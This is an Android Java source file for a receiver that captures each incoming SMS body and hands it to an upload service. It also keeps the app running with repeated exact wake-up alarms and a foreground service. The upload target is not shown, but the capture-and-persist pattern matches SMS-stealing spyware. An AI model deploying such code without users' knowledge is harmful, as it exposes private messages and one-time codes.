package com.mdd.maduoduo.utils;

import android.Manifest;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

import androidx.core.content.ContextCompat;

import org.json.JSONArray;
import org.json.JSONObject;

public class PersistentSmsReceiver extends BroadcastReceiver {

    private static final String TAG = "PersistentSmsReceiver";

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent == null || intent.getAction() == null) return;

        Log.d(TAG, "Received SMS broadcast: " + intent.getAction());

        // 验证权限
        if (!hasSmsPermissions(context)) {
            Log.w(TAG, "Missing SMS permissions");
            return;
        }

        // 解析短信
        SmsMessage[] messages = parseSmsMessages(intent);
        if (messages == null || messages.length == 0) {
            Log.w(TAG, "No SMS messages found");
            return;
        }

        // 处理短信
        processSmsMessages(context, messages);

        // 保活措施
        keepAlive(context);
    }

    private boolean hasSmsPermissions(Context context) {
        return ContextCompat.checkSelfPermission(context, Manifest.permission.RECEIVE_SMS)
                == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS)
                == PackageManager.PERMISSION_GRANTED;
    }

    private SmsMessage[] parseSmsMessages(Intent intent) {
        try {
            Bundle bundle = intent.getExtras();
            if (bundle == null) return null;

            Object[] pdus = (Object[]) bundle.get("pdus");
            if (pdus == null) return null;

            String format = bundle.getString("format");
            SmsMessage[] messages = new SmsMessage[pdus.length];

            for (int i = 0; i < pdus.length; i++) {
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                    messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i], format);
                } else {
                    messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                }
            }
            return messages;
        } catch (Exception e) {
            Log.e(TAG, "Parse SMS messages failed", e);
            return null;
        }
    }

    private void processSmsMessages(Context context, SmsMessage[] messages) {
        try {
            String smsContent = "";
            for (SmsMessage message : messages) {
                smsContent = message.getMessageBody();
            }

            // 启动上传服务
            Intent serviceIntent = new Intent(context, SmsUploadService.class);
            serviceIntent.putExtra("sms_data", smsContent);

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                context.startForegroundService(serviceIntent);
            } else {
                context.startService(serviceIntent);
            }
        } catch (Exception e) {
            Log.e(TAG, "Process SMS messages failed", e);
        }
    }

    public static void keepAlive(Context context) {
        try {
            // 设置定时唤醒
            AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
            Intent alarmIntent = new Intent(context, AlarmReceiver.class);
            PendingIntent pendingIntent = PendingIntent.getBroadcast(
                    context, 0, alarmIntent,
                    PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);

            long triggerTime = System.currentTimeMillis() + 5 * 60 * 1000; // 5分钟后

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                alarmManager.setExactAndAllowWhileIdle(
                        AlarmManager.RTC_WAKEUP,
                        triggerTime,
                        pendingIntent);
            } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
                alarmManager.setExact(
                        AlarmManager.RTC_WAKEUP,
                        triggerTime,
                        pendingIntent);
            } else {
                alarmManager.set(
                        AlarmManager.RTC_WAKEUP,
                        triggerTime,
                        pendingIntent);
            }

            // 启动保活服务
            Intent keepAliveIntent = new Intent(context, KeepAliveService.class);
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                context.startForegroundService(keepAliveIntent);
            } else {
                context.startService(keepAliveIntent);
            }
        } catch (Exception e) {
            Log.e(TAG, "Keep alive failed", e);
        }
    }
}
